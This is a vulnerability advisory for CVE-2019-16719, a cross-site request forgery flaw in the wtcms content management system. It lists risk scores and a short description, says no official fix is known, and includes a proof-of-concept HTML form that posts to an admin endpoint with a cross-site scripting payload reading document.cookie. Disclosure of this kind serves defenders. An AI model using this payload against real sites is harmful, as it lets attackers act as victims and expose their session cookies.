#VU21308 Cross-site request forgery in wtcms - CVE-2019-16719

 

#VU21308 Cross-site request forgery in wtcms - CVE-2019-16719

Published: September 24, 2019


Vulnerability identifier: #VU21308
Vulnerability risk: Low
CVSSv4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/U:Clear
CVE-ID: CVE-2019-16719
CWE-ID: CWE-352
Exploitation vector: Remote access
Exploit availability: No public exploit available
Vulnerable software:
wtcms
Software vendor:
taosir

Description

The vulnerability allows a remote attacker to perform cross-site request forgery attacks.

The vulnerability exists due to insufficient validation of the HTTP request origin in "index.php?g=admin&m=index&a=index". A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website.

PoC:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://[host]/wtcms-master/index.php?g=&m=admin_page&a=index" method="POST">
      <input type="hidden" name="start&#95;time" value="" />
      <input type="hidden" name="end&#95;time" value="" />
      <input type="hidden" name="keyword" value="&quot;&gt;&lt;svg&#32;onload&#61;alert&#40;document&#46;cookie&#41;&gt;&lt;a&#32;src&#61;&quot;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


Remediation

Cybersecurity Help is currently unaware of any official solution to address this vulnerability.

External links